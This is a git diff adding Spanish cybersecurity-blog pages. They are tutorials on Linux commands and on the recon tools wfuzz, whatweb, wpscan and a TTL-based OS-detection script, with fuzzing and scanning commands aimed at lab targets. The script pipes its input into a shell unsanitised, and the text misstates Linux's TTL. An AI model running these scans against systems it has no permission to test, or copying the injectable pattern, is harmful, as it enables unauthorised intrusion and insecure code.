    • +
    • -c, –bytes: Imprime solo el número de bytes.
    • +
    • -m, –chars: Imprime el número de caracteres (diferente del número de bytes para los archivos que no son de texto).
    • +
    • -L, –max-line-length: Imprime la longitud de la línea más larga del fichero.
    • +
    • –files0-from=F: Obtiene los nombres de los archivos del archivo F (los nombres de los archivos deben estar separados por el carácter NULL).
    • +
    + +

    Ver el número de líneas de un archivo:

    + +
    wc -l archivo
    +
    + +

    Ver el número de palabras de un archivo:

    + +
    wc -w archivo
    +
    + +

    Ver el número de bytes de un archivo:

    + +
    wc -c archivo
    +
    + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/wfuzz.html b/Web/wfuzz.html new file mode 100644 index 00000000000..2c62456e9fc --- /dev/null +++ b/Web/wfuzz.html @@ -0,0 +1,445 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + WFUZZ + + + + + + + + + + + + + + + + + + + + + +

    Índice:

    + + + +

    +

    ¿Qué es Wfuzz?

    + +

    WFuzz es una herramienta y biblioteca de fuzzer de seguridad de aplicaciones web para Python.

    + +

    +

    ¿Cómo funciona?

    + +

    Wfuzz se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de una carga útil determinada.

    + +

    Una carga útil en Wfuzz es una fuente de datos.

    + +

    Este concepto simple permite inyectar cualquier entrada en cualquier campo de una solicitud HTTP, lo que permite realizar complejos ataques +de seguridad web en diferentes componentes de la aplicación web, como: parámetros, autenticación, formularios, directorios/archivos, encabezados, etc.

    + +

    +

    Diccionarios y Listas de Palabras:

    + +

    En caso de utilizar Kali Linux o ParroOS suelen tener incluidos el repositorio wordlists el cual incluye una variedad de diccionarios o listas de +palabras de distintos tamaños. Este repositorio se encuentra en el directorio /usr/share/wordlists.

    + +

    Captura de pantalla -2022-05-09 06-58-59

    + +

    Captura de pantalla -2022-05-09 07-01-52

    + +

    Captura de pantalla -2022-05-09 07-02-21 Captura de pantalla -2022-05-09 07-03-15

    + +

    Para descargar el repositorio con todos los diccionarios simplemente ejecutamos lo siguiente:

    + +
    sudo apt install wordlists
    +
    + +

    +

    Payloads/Cargas Útiles:

    + +

    Wfuzz se basa en un concepto simple: reemplaza cualquier referencia a la palabra clave FUZZ por el valor de una carga útil determinada. Una carga útil más conocida como payload en Wfuzz es una fuente de datos de entrada y se especifica mediante -z:

    + +

    Las cargas útiles disponibles se pueden listar ejecutando la opción -e payloads:

    + +
    wfuzz -e payloads
    +
    + +

    Captura de pantalla -2022-05-09 07-30-49

    + +

    Se puede obtener información detallada sobre las cargas útiles ejecutando:

    + +
    wfuzz -z help
    +
    + +

    Este último se puede filtrar usando el parámetro --slice:

    + +
    wfuzz -z help --slice "dirwalk"
    +
    + +

    Captura de pantalla -2022-05-09 07-34-57

    + +

    +

    Obtener ayuda:

    + +

    Use el interruptor –h y –help para obtener el uso de ayuda básica y avanzada respectivamente.

    + +

    Wfuzz es un marco completamente modular, puede verificar los módulos disponibles usando el interruptor -e iterators:

    + +

    Captura de pantalla -2022-05-09 07-18-22

    + +

    Las categorías válidas son: cargas útiles, codificadores, iteradores, impresoras o scripts.

    + +

    +

    Filtros:

    + +

    Filtrar resultados en Wfuzz es primordial:

    + +

    Los diccionarios grandes pueden generar una gran cantidad de resultados y pueden ahogar fácilmente los resultados válidos legítimos. +La clasificación de las respuestas HTTP es clave para realizar algunos ataques, por ejemplo, para verificar la presencia de una vulnerabilidad de inyección SQL, debemos distinguir una respuesta legítima de la que genera un error o datos diferentes. +Wfuzz permite filtrar según el código de respuesta HTTP y la longitud de la información recibida (en forma de palabras, caracteres o líneas). También se pueden utilizar expresiones regulares. Se pueden tomar dos enfoques: mostrar u ocultar los resultados que coinciden con un filtro determinado.

    + +

    +

    Ocultar respuestas

    + +

    Los siguientes parámetros de la línea de comandos se pueden usar para ocultar ciertas respuestas HTTP –hc, –hl, –hw, –hh.

    + +

    El comando --hc filtra los recursos web desconocidos por el servidor web ( http://en.wikipedia.org/wiki/HTTP_404 ), básicamente suprime las páginas +que reportar error 404:

    + +
    wfuzz -w wordlist/general/common.txt --hc 404 http://testphp.vulnweb.com/FUZZ
    +
    + +

    Se pueden especificar múltiples valores, por ejemplo, la siguiente ejecución de wfuzz agrega los recursos prohibidos al filtro:

    + +
    wfuzz -w wordlist/general/common.txt --hc 404,403 http://testphp.vulnweb.com/FUZZ
    +
    + +

    Las líneas, palabras o caracteres son útiles cuando buscamos recursos con el mismo código de estado HTTP.

    + +

    Por ejemplo, es un comportamiento común (a veces debido a una configuración incorrecta) que los servidores web devuelvan una página de error personalizada con un código de respuesta 200, esto se conoce como soft 404.

    + +

    +

    Ejecución Básica:

    + +

    Una ejecución de línea de comando típica de Wfuzz, que especifica una carga de diccionario y una URL, se ve así:

    + +
    wfuzz -w [Ruta del Diccionario] [Url Víctima]/FUZZ
    +
    +wfuzz -w wordlist/general/common.txt http://testphp.vulnweb.com/FUZZ
    +
    + +

    -w : Especifica un diccionario (Lista de palabras).

    + +

    Captura de pantalla -2022-05-09 06-45-44

    + +

    Podemos ver los siguientes parámetros en la respuesta:

    + +

    Captura de pantalla -2022-05-09 06-46-33

    + +

    La salida de Wfuzz permite analizar las respuestas del servidor web y filtrar los resultados deseados en función del mensaje de respuesta HTTP obtenido, por ejemplo, códigos de respuesta, longitud de respuesta, etc.

    + +

    Cada línea proporciona la siguiente información:

    + +

    ID : El número de solicitud en el orden en que se realizó.

    + +

    Respuesta: muestra el código de respuesta HTTP.

    + +

    Líneas: Muestra el número de líneas en la respuesta HTTP.

    + +

    Palabra: Muestra el número de palabras en la respuesta HTTP.

    + +

    Chars: Muestra el número de caracteres en la respuesta HTTP.

    + +

    Carga útil: Muestra la carga útil utilizada.

    + +

    +

    Ejecución Carga Útil:

    + +

    Cada palabra clave FUZZ debe tener su carga útil (payload) correspondiente. Hay varias formas equivalentes de especificar una payload:

    + +

    Ejecución Básica:

    + +
    wfuzz -w [Ruta del Diccionario] [URL Víctima]/FUZZ
    +
    + +

    -w : Especifica un diccionario (Lista de palabras).

    + +

    +

    Ejecución definiendo el valor del Payload:

    + +
    wfuzz -z [Ruta del Diccionario] [URL Víctima]/FUZZ
    +
    + +

    -z : Especifica el valor del parámetro predeterminado del payload.

    + +

    +

    Ejecución fuzzeando cabezeras.

    +

    Esto nos permite la opción de repetir varios encabezados. Para ello se emplea la etiqueta -H de header seguida de la especificación entre comillas dobles.

    + +
    wfuzz -w [Ruta del Diccionario] -H "Host: FUZZ.ejemplo.com" http://ejemplo.com
    +
    + +
      +
    • +

      Ejemplo:

      + +

      wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H “Host: FUZZ.nunchuks.htb” http://nunchuks.htb

      +
    • +
    + +

    +

    Ejecución filtrada omitiendo servicios web desconocidos:

    + +
    wfuzz -w [Ruta del Diccionario] --hc 404,403 [URL Víctima]
    +
    + +

    -w : Especifica un diccionario (Lista de palabras).

    + +

    --hc : Omite los resultados HTTP especificados, en este caso las páginas con servicios 404 (servidor no encontrado) y 403 (sin permisos de acceso).

    + +

    Se puede encontr mucha más información sobre esta herramienta en su página: https://wfuzz.readthedocs.io/en/latest/user/getting.html

    + +

    +

    Ejecución filtrada omitiendo servicios con caracteres repetidos:

    + +

    En algunas ocasiones al ejecutar Wfuzz veremos como empieza a reportar resultados inconcluyentes con el mismo número de caracteres. Al igual que los servicios web +estos resultados pueden ser filtrados para que sean omitidos y que solo nos devuelva los resultados que nos interesan.

    + +

    Para omitir los caracteres o chars específicos se usa la instrucción --hh=[Nº Chars]. Veamos como sería su sintaxis:

    + +
    wfuzz --hh=[Nº Chars] -w [Ruta del Diccionario] [URL Víctima]
    +
    + +

    Vamos a ver un ejemplo para que quede más claro, para ello primero vamos a realizar un escaneo simple sin filtrar ningún resultado para que veáis como se repiten +las peticiones con el mismo número de caracteres.

    + +

    Para este ejemplo usaremos la máquina Nunchucks de HTB con la Ip 10.10.11.122 y como diccionario utilizaremos uno de la librería Seclists.

    + +
    wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.nunchucks.htb" http://nunchucks.htb
    +
    + +

    Captura de pantalla 2022-07-21 172614

    + +

    Captura de pantalla 2022-07-21 172633

    + +

    Como podéis ver nos reporta un montón de resultados con el mismo número de chars:

    + +

    Captura de pantalla 2022-07-21 172657

    + +

    Vamos a intentar aplicar el filtro --hh=30587 para ocultar todos los resultados con ese número de caracteres:

    + +
    wfuzz --hh=30587 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -H "Host: FUZZ.nunchucks.htb" http://nunchucks.htb
    +
    + +

    Captura de pantalla 2022-07-21 173038

    + +

    Captura de pantalla 2022-07-21 173652

    + +

    Una vez especificado, solo nos muestra los resultados con un número de caracteres diferente a 30587.

    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/whatweb.html b/Web/whatweb.html new file mode 100644 index 00000000000..85214681331 --- /dev/null +++ b/Web/whatweb.html @@ -0,0 +1,259 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Whatweb + + + + + + + + + + + + + + + + + + + +

    Whatweb

    + +

    Captura de pantalla 2022-07-30 142904

    + +

    ¿Qué es Whatweb?

    + +

    Whatweb es un escáner de información de nueva generación. Como su nombre lo dice ‘¿qué sitio web es este?’. Esta herramienta se puede utilizar para identificar +todo tipo de información sobre el sitio. Esta herramienta fue desarrollada por Andrew Horton y Brendan Coles.

    + +

    Whatweb puede recolectar información como:

    +
      +
    • Plataforma en la que se construyó el sitio.
    • +
    • Tipo de script en el que se usa el script del sitio.
    • +
    • Google Analytics.
    • +
    • Dirección IP o País.
    • +
    • Plataforma de servidor web y mucho más.
    • +
    + +

    Whatweb emplea tanto el escaneo activo como el pasivo. El escaneo activo extrae más profundamente con varios tipos de tecnologías, pero la exploración +pasiva simplemente extrae datos de los encabezados HTTP.

    + +

    La sintaxis es muy simple, el comando seguido de la dirección web:

    + +
     whatweb [Dirección Web]
    +
    + +

    Ejemplo:

    + +
    whatweb 10.10.10.10
    +
    +whatweb http://10.10.10.10
    +
    +whatweb wwww.ejemplo.com
    +
    +whatweb https://10.10.10.10:8080
    +
    + +

    Captura de pantalla 2022-07-30 144558

    + +

    Para reportar un poco más de información podemos añadir la opción -v:

    + +
    whatweb -v [Dirección web]
    +
    + +
      +
    • -v: Análisis detallado explora el sitio web con mayor profundidad para que se pueda utilizar más información en el análisis del sitio web.
    • +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/wichSystem.html b/Web/wichSystem.html new file mode 100644 index 00000000000..d8c79d5a187 --- /dev/null +++ b/Web/wichSystem.html @@ -0,0 +1,294 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramienta
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + +

    WichSystem

    + +

    WichSystem01

    + +

    Esta herramienta es un pequeño script en python creado por S4vitar que sirve para saber si estamos frente un sistema operativo Windows o Linux.

    + +

    El script básicamente diferencia entre el ttl de Linux y el de Windows de forma automáticamente.

    + +

    Recordemos que Windows tiene un ttl=128 mientras que Linux tiene un ttl=65.

    + +

    # Ejecución:

    + +
    wichSystem.py [Ip Víctima]
    +
    + +

    WichSystem2

    + +

    WichSystem3

    + +

    Instalación:

    + +

    Para instalar esta herramienta simplemente nos descargamos o copiamos el archivo wichSystem.py y lo creamos en el directorio /usr/bin/.

    + +

    En caso de descargarlo, simplemente lo depositamos en ese directorio. +En caso de crearlo:

    + +

    Captura de pantalla -2022-04-10 15-05-52

    + +

    Vamos al directorio:

    + +
    cd /usr/bin/
    +
    + +

    Creamos el archivo wichSystem.py:

    + +
    sudo nano wichSystem.py
    +
    + +

    Copiamos y pegamos el script.

    + +
    #!/usr/bin/python3
    +#coding: utf-8
    +
    +import re, sys, subprocess
    +
    +# python3 wichSystem.py 10.10.10.188 
    +
    +if len(sys.argv) != 2:
    +    print("\n[!] Uso: python3 " + sys.argv[0] + " <direccion-ip>\n")
    +    sys.exit(1)
    +
    +def get_ttl(ip_address):
    +
    +    proc = subprocess.Popen(["/usr/bin/ping -c 1 %s" % ip_address, ""], stdout=subprocess.PIPE, shell=True)
    +    (out,err) = proc.communicate()
    +
    +    out = out.split()
    +    out = out[12].decode('utf-8')
    +
    +    ttl_value = re.findall(r"\d{1,3}", out)[0]
    +
    +    return ttl_value
    +
    +def get_os(ttl):
    +
    +    ttl = int(ttl)
    +
    +    if ttl >= 0 and ttl <= 64:
    +        return "Linux"
    +    elif ttl >= 65 and ttl <= 128:
    +        return "Windows"
    +    else:
    +        return "Not Found"
    +
    +if __name__ == '__main__':
    +
    +    ip_address = sys.argv[1]
    +
    +    ttl = get_ttl(ip_address)
    +
    +    os_name = get_os(ttl)
    +    print("\n%s (ttl -> %s): %s\n" % (ip_address, ttl, os_name))
    +
    + +

    Guardamos : Cntrl + o

    + +

    Salimos : Cntrl + x

    + +

    Le damos permisos de ejecución:

    + +
    sudo chmod +x wichSystem.py
    +
    + +

    y ya tendriamos listo nuestra nueva herramienta WichSystem.

    + +

    Menciones:

    + +

    Esta herramienta no la he creado yo, solo la recopilo y comparto su instalación. +El creador de esta herramienta es el creador de contenido S4vitar, tiene diversos canales en YouTube y retransmite en Twitch sobre temas de ciber +seguridad y resolución de máquinas de Hack the Box.

    + +

    S4vitar: https://github.com/s4vitar

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/wpscan.html b/Web/wpscan.html new file mode 100644 index 00000000000..73ea9d4c554 --- /dev/null +++ b/Web/wpscan.html @@ -0,0 +1,269 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Herramientas
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + WPSCAN + + + + + + + + + + + + + + + + + + + + + +

    ¿Qué es WPScan?

    + +

    WPScan es un escaner de vulnerabilidades enfocado en página WordPress. Escanea y encuentra fallas y vulnerabilidades en el código, los módulos y temas +utilizados.

    + +

    Instalación:

    + +

    Para instalar en sistemas Debian:

    + +
    sudo apt-get install wpscan
    +
    + +

    Actualizar base de datos:

    + +

    Debido a las multiples actualizaciones, tanto por parte de wordpress como por WPScan, debemos tener actualizada nuesta base de datos para estar +preparado frente a las nuevos ataques y vulnerabilidades.

    + +
    wpscan --update
    +
    + +

    Ver Información de la Herramienta:

    + +

    Aquí podemos ver todas las opciones y funciones que nos ofrece WPScan.

    + +
    wpscan -h
    +
    + +

    Escaneo Básico:

    + +

    Ejemplo 1:

    + +
    wpscan --url http://wordpress.local
    +
    + +

    Ejemplo 2:

    + +
    wpscan --url http://10.10.11.143
    +
    + +

    Escaneo mediante verbose:

    + +

    Ejemplo 1:

    + +
    wpscan --url http://wordpress.local --verbose
    +
    + +

    Ejemplo 2:

    + +
    wpscan --url http://10.10.11.143 -v
    +
    + +

    Escaneo de directorios y usuarios:

    + +
    wpscan --url http://example.local --wp-content-dir wp-admin
    +
    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/xargs.html b/Web/xargs.html new file mode 100644 index 00000000000..3d9898e2e24 --- /dev/null +++ b/Web/xargs.html @@ -0,0 +1,390 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Curso Linux + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + + + +

    Manual de Comandos Generales XARGS

    + +

    NOMBRE

    + +

    xargs: Crea y ejecuta líneas de comando desde la entrada estándar.

    + +

    SINOPSIS

    + +

    xargs [opciones] [comando [argumentos]]

    + +

    DESCRIPCIÓN

    + +

    Esta página del manual documenta la versión GNU de xargs. Xargs lee elementos de la entrada estándar, delimitados por espacios en blanco (que se pueden +protegido con comillas simples o dobles o una barra invertida) o saltos de línea y ejecuta el comando (el valor predeterminado es echo ) uno o más +veces con cualquier argumento inicial seguido de elementos leídos de entrada estándar. Las líneas en blanco en la entrada estándar se ignoran.

    + +

    La línea de comando para el comando se construye hasta que llega a un límite definido por el sistema (a menos que se utilicen las opciones -n y -L ).El comando +especificado se invocará tantas veces como sea necesario para utilizar la lista de elementos de entrada. En general, habrá +muchas menos invocaciones de mando que elementos en el aporte. Esto normalmente tendrá importantes beneficios de rendimiento. +Algunos comandos también se pueden ejecutar en paralelo; Para ello se utiliza la opción P.

    + +

    Debido a que los nombres de archivo de Unix pueden contener espacios en blanco y saltos de línea, este el comportamiento predeterminado suele ser +problemático; nombres de archivos que contienen xargs procesa incorrectamente los espacios en blanco y/o las nuevas líneas . En +estas situaciones es mejor usar la opción -0 , que previene este tipo de problemas. Al usar esta opción, deberá asegúrese de que el programa que produce +la entrada para xargs también utiliza un carácter nulo como separador. Si ese programa es GNU encuentre, por ejemplo, la opción -print0 hace esto por usted.

    + +

    Si alguna invocación del comando sale con un estado de 255, xargs se detendrá inmediatamente sin leer más entradas. Se emite un mensaje de error en +stderr cuando esto sucede.

    + +

    OPCIONES

    + +

    ``` + -0, –null + Los elementos de entrada terminan con un carácter nulo en lugar de + por espacios en blanco, y las comillas y la barra invertida no son + especial (cada carácter se toma literalmente). Desactiva + el final de la cadena del archivo, que se trata como cualquier otro + argumento. Útil cuando los elementos de entrada pueden contener blanco + espacio, comillas o barras invertidas. El GNU encuentra -print0 + La opción produce una entrada adecuada para este modo.

    + +
       -a archivo , --arg-file= archivo 
    +          Leer elementos del archivo en lugar de la entrada estándar. Si usted
    +          use esta opción, stdin permanece sin cambios cuando los comandos son
    +          correr. De lo contrario, stdin se redirige desde /dev/null .
    +
    +   --delimiter= dividir , -d dividir
    +          Los elementos de entrada terminan con el carácter especificado.
    +          El delimitador especificado puede ser un solo carácter, una C-
    +          escape de carácter de estilo como \n , o un octal o
    +          código de escape hexadecimal. Escape octal y hexadecimal
    +          los códigos se entienden como para el comando printf .
    +          Los caracteres multibyte no son compatibles. Al procesar
    +          la entrada, las comillas y la barra invertida no son especiales; cada
    +          carácter en la entrada se toma literalmente. La opción -d
    +          deshabilita cualquier cadena de fin de archivo, que se trata como cualquier
    +          otro argumento. Puede utilizar esta opción cuando la entrada
    +          consiste simplemente en elementos separados por saltos de línea, aunque es
    +          casi siempre es mejor diseñar su programa para usar --null
    +          donde esto es posible.
    +
    +   -E eof-str 
    +          Establece el final de la cadena del archivo en eof-str . Si el final del archivo
    +          cadena se produce como una línea de entrada, el resto de la entrada es
    +          ignorado Si no se usa ni -E ni -e , no hay fin de archivo
    +          se utiliza una cuerda.
    +
    +   -e [ eof-str ], --eof [ =eof-str ]
    +          Esta opción es sinónimo de la opción -E . Usa -E
    +          en cambio, porque es compatible con POSIX mientras que esta opción
    +          no es. Si se omite eof-str , no hay fin de archivo
    +          cuerda. Si no se usa ni -E ni -e , no hay fin de archivo
    +          se utiliza una cuerda.
    +
    +   -I replace-str 
    +          Reemplaza las ocurrencias de replace-str en la inicial-
    +          argumentos con nombres leídos de la entrada estándar. También,
    +          los espacios en blanco sin comillas no terminan los elementos de entrada; en cambio el
    +          separador es el carácter de nueva línea. Implica -x y -L 1.
    +
    +   -i [ reemplazar-cadena ], --reemplazar [ =reemplazar-cadena ]
    +          Esta opción es un sinónimo de -I replace-str si 
    +          se especifica replace-str . Si falta el argumento replace-str , el
    +          el efecto es el mismo que -I {}. Esta opción está en desuso;
    +          use -I en su lugar.
    +
    +   -L max-lines 
    +          Use como máximo max-lines líneas de entrada que no estén en blanco por comando
    +          línea. Los espacios en blanco finales hacen que una línea de entrada sea lógicamente
    +          continúa en la siguiente línea de entrada. Implica -x .
    +
    +   -l [ líneas máximas ], --líneas máximas [= líneas máximas ]
    +          Sinónimo de la opción -L . A diferencia de -L , el argumento max-lines 
    +          es opcional. Si no se especifica max-lines ,
    +          por defecto es uno. La opción -l está en desuso ya que el
    +          El estándar POSIX especifica -L en su lugar.
    +
    +   -n max-args , --max-args = max-args 
    +          Utilice como máximo argumentos max-args por línea de comando. MenosSe usarán argumentos
    +           
    +          que max-args si se excede el tamaño (consulte la opción -s ), a menos que se proporcione la opción -x , en
    +          en cuyo caso saldrán xargs.
    +
    +   -P max- procs , --max-procs = max-procs 
    +          Ejecuta hasta max-procs procesos a la vez; el valor predeterminado es 1.
    +          Si max-procs es 0, xargs ejecutará tantos procesos como
    +          posible a la vez. Use la opción -n o la opción -L
    +          con -P ; de lo contrario, es probable que solo un ejecutivo sea
    +          hecho. Mientras se ejecuta xargs , puede enviar a su proceso un
    +          Señal SIGUSR1 para aumentar el número de comandos a ejecutar
    +          simultáneamente, o un SIGUSR2 para disminuir el número. Tú
    +          no puede aumentarlo por encima de un límite definido por la implementación
    +          (que se muestra con --show-limits). no puedes disminuir
    +          está debajo de 1.   xargs nunca finaliza sus comandos; cuando
    +          se le pide que disminuya, simplemente espera más de una
    +          comando existente para terminar antes de iniciar otro.
    +
    +          Tenga en cuenta que depende de los procesos llamados
    +          gestionar adecuadamente el acceso paralelo a los recursos compartidos. Para
    +          ejemplo, si más de uno de ellos intenta imprimir a
    +          stdout, la salida se producirá en un indeterminado
    +          orden (y muy probablemente mezclado) a menos que los procesos
    +          colaborar de alguna manera para evitarlo. Usando algún tipo
    +          del esquema de bloqueo es una forma de prevenir tales problemas. En
    +          En general, el uso de un esquema de bloqueo ayudará a garantizar la correcta
    +          salida pero reduce el rendimiento. si no quieres
    +          tolerar la diferencia de rendimiento, simplemente haga arreglos para
    +          cada proceso para producir un archivo de salida separado (o
    +          de lo contrario, use recursos separados).
    +
    +   -o, --open-tty 
    +          Vuelva a abrir stdin como /dev/tty en el proceso secundario anterior
    +          ejecutando el comando. Esto es útil si quieres xargs
    +          para ejecutar una aplicación interactiva.
    +
    +   -p, --interactivo
    +          Preguntar al usuario si debe ejecutar cada línea de comando y
    +          leer una línea de la terminal. Solo ejecuta la línea de comando
    +          si la respuesta comienza con 'y' o 'Y'. Implica -t .
    +
    +   --process-slot-var = nombre 
    +          Establezca el nombre de la variable de entorno en un valor único en
    +          cada proceso hijo en ejecución. Los valores se reutilizan una vez que el niño
    +          los procesos salen. Esto se puede utilizar en una carga rudimentaria.
    +          esquema de distribución, por ejemplo.
    +
    +   -r, --no-ejecutar-si-vacío
    +          Si la entrada estándar no contiene espacios que no sean espacios en blanco, no
    +          no ejecutar el comando. Normalmente, el comando se ejecuta una vez
    +          incluso si no hay entrada. Esta opción es un GNU
    +          extensión.
    +
    +   -s max-chars , --max-chars =max-chars 
    +          Usar como máximo caracteres max-chars por línea de comando,
    +          incluyendo el comando y los argumentos iniciales y el
    +          terminando nulos al final de las cadenas de argumentos.
    +          El mayor valor permitido depende del sistema y es
    +          calculado como el límite de longitud del argumento para exec, menos el
    +          tamaño de su entorno, menos 2048 bytes de headroom. Si
    +          este valor es más de 128KiB, 128Kib se utiliza como el
    +          valor por defecto; de lo contrario, el valor predeterminado es el
    +          máximo. 1 KiB son 1024 bytes.  xargs se adapta automáticamente
    +          a restricciones más estrictas.
    +
    +   --mostrar-límites
    +          Mostrar los límites en la longitud de la línea de comandos que son
    +          impuesto por el sistema operativo, xargs 'elección de búfer
    +          tamaño y la opción -s . Canalice la entrada desde /dev/null 
    +          (y tal vez especifique --no-run-if-empty ) si no quiere
    +           que xargs haga nada.
    +
    +   -t, --verbose
    +          Imprima la línea de comando en la salida de error estándar antes
    +          ejecutándolo
    +
    +   -x, --exit 
    +          Salir si se excede el tamaño (ver la opción -s ).
    +
    +   --help Imprime un resumen de las opciones para xargs y sale.
    +
    +   --version 
    +          Imprime el número de versión de xargs y sale.
    +
    +   Las opciones --max-lines ( -L , -l ), --replace ( -I , -i ) y --max- 
    +   args ( -n ) son mutuamente excluyentes. Si se especifican algunos
    +   al mismo tiempo, xargs generalmente usará la opción
    +   especificado en último lugar en la línea de comando, es decir, restablecerá el valor
    +   de la opción infractora (dada antes) a su valor predeterminado.
    +   Además, xargs emitirá un diagnóstico de advertencia en stderr .
    +   La excepción a esta regla es que el valor especial max-args 1 
    +   (' -n 1 ') se ignora después de la opción --replace y sus alias -I 
    +   y -i , porque en realidad no entraría en conflicto.
    +   
    +   ```
    +
    + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/xxd.html b/Web/xxd.html new file mode 100644 index 00000000000..95edac1faff --- /dev/null +++ b/Web/xxd.html @@ -0,0 +1,245 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Curso Linux: xxd
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Linux + + + + + + + + + + + + + + + + + + + +

    ¿Qué es XXD?

    + +

    El comando xxd en Linux puede convertir un archivo dado o una entrada estándar en forma hexadecimal, y también puede convertir +hexadecimal de nuevo a forma binaria.

    + +

    +

    Convertir un texto en hexadecimal con xxd.

    + +
    echo "[Texto]" | xxd
    +
    +echo "Hola Mundo" | xxd
    +
    + +

    Captura de pantalla 2022-07-29 184955

    + +

    Vemos como nos reporta una cadena en hexadecimal. Para ver únicamente la cadena hexadecimal podemos añadir la opción -ps:

    + +
    echo "[Texto]" | xxd -ps
    +
    +echo "Hola Mundo" | xxd -ps
    +
    + +

    Captura de pantalla 2022-07-29 185048

    + +

    +

    Convertir de hexadecimal a texto plano:

    + +

    Para pasar de hexadecimal a texto plano utilizaremos la opción -r para el cambio y -ps para mostrar el texto por consola.

    + +
    echo "486f6c61204d756e646f0a" | xxd -ps -r
    +
    + +

    Captura de pantalla 2022-07-29 185105

    + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + + + + \ No newline at end of file diff --git a/Web/youtubedl.html b/Web/youtubedl.html new file mode 100644 index 00000000000..c74d4596549 --- /dev/null +++ b/Web/youtubedl.html @@ -0,0 +1,257 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + Youtubedl + + + + + + + + + + + + + + + + + + + + + +

    Descargar contenido de YouTube desde la Terminal

    + +

    Para poder Descargar tanto los videos como el audio directamente desde YouTube a la Terminal, utilizaremos la herramienta youtube-dl. Para poder +usarla primero tendremos que descargarla. En mi caso utilizo ParrotOS, por tanto, estos comandos solo valdrán para sistemas operativos basados en +Debian.

    + +

    Instalación:

    + +
    sudo apt-get install youtube-dl
    +
    + +

    Captura de pantalla -2022-05-02 09-26-55

    + +

    Ejecución:

    +

    Para descargar los archivos copiamos la URL de los videos que queramos de YouTube y ejecutamos los siguientes comandos. Los archivos se descargarán en +el directorio en el que nos encontremos.

    + +

    Descargar Video:

    + +
    youtube-dl 'URL del Video'
    +
    + +

    Captura de pantalla -2022-05-02 09-32-29

    + +

    Captura de pantalla -2022-05-02 09-30-17

    + +

    Descargar solo Audio:

    + +
    youtube-dl -x --audio-format mp3 'URL del Video'
    +
    + +

    -x : Convierte los archivos en archivos solo de audio.

    + +

    --audio-format : Para poder especificar el formato de audio en el que descargaremos el archivo.

    + +

    mp3 : Formato en el que se descargará el archivo.

    + +

    Captura de pantalla -2022-05-02 09-31-43

    + +

    Captura de pantalla -2022-05-02 09-31-26

    + +

    Mediante Youtube-dl podemos descargar archivos de audio en los formatos: acc, vorbis, mp3, m4a, opus y wav.

    + + + + + + + + + + + + + + + +
    + +
    + + + + + + + + + +
    + + + +
    + + + + +
    + +
    + + + \ No newline at end of file diff --git a/Web/zsh.html b/Web/zsh.html new file mode 100644 index 00000000000..baa13f70903 --- /dev/null +++ b/Web/zsh.html @@ -0,0 +1,282 @@ + + + + + + + + + + + + + + + + + + + + + + F1r0x | Blog sobre Ciberseguridad. + + + + + + + + + + + + + + + + + + +
    +
    + +
    F1r0x
    +
    +
    Blog sobre informática Y ciberseguridad.
    + + +
    + GitHub +
    +
    +
    + + + + + + + + + + + +
    + + + + + + + + + + + + + zsh + + + + + + + + + + + + + + + + + + + + + +

    ¿Qué es ZSH?

    + +

    ZSH es un poderoso interprete de comandos para sistemas Unix. Construido sobre el popular shell bash. Es, gratuito, de código abierto y se +actualiza periodicamente.

    + +

    Ventas:

    + +
      +
    1. Altamente personalizable.
    2. +
    3. Proporciona herramientas interactivas.
    4. +
    5. Utiliza el lenguaje de comandos bash.
    6. +
    7. Admite marcos adicionales como oh-my-zsh.
    8. +
    9. Más fácil y con gran comunidad.
    10. +
    + +

    Instalación:

    +

    Para poder instalarlo en una distribución Debian (ParrotOS o Kali) primero actualizamos el sistema:

    + +
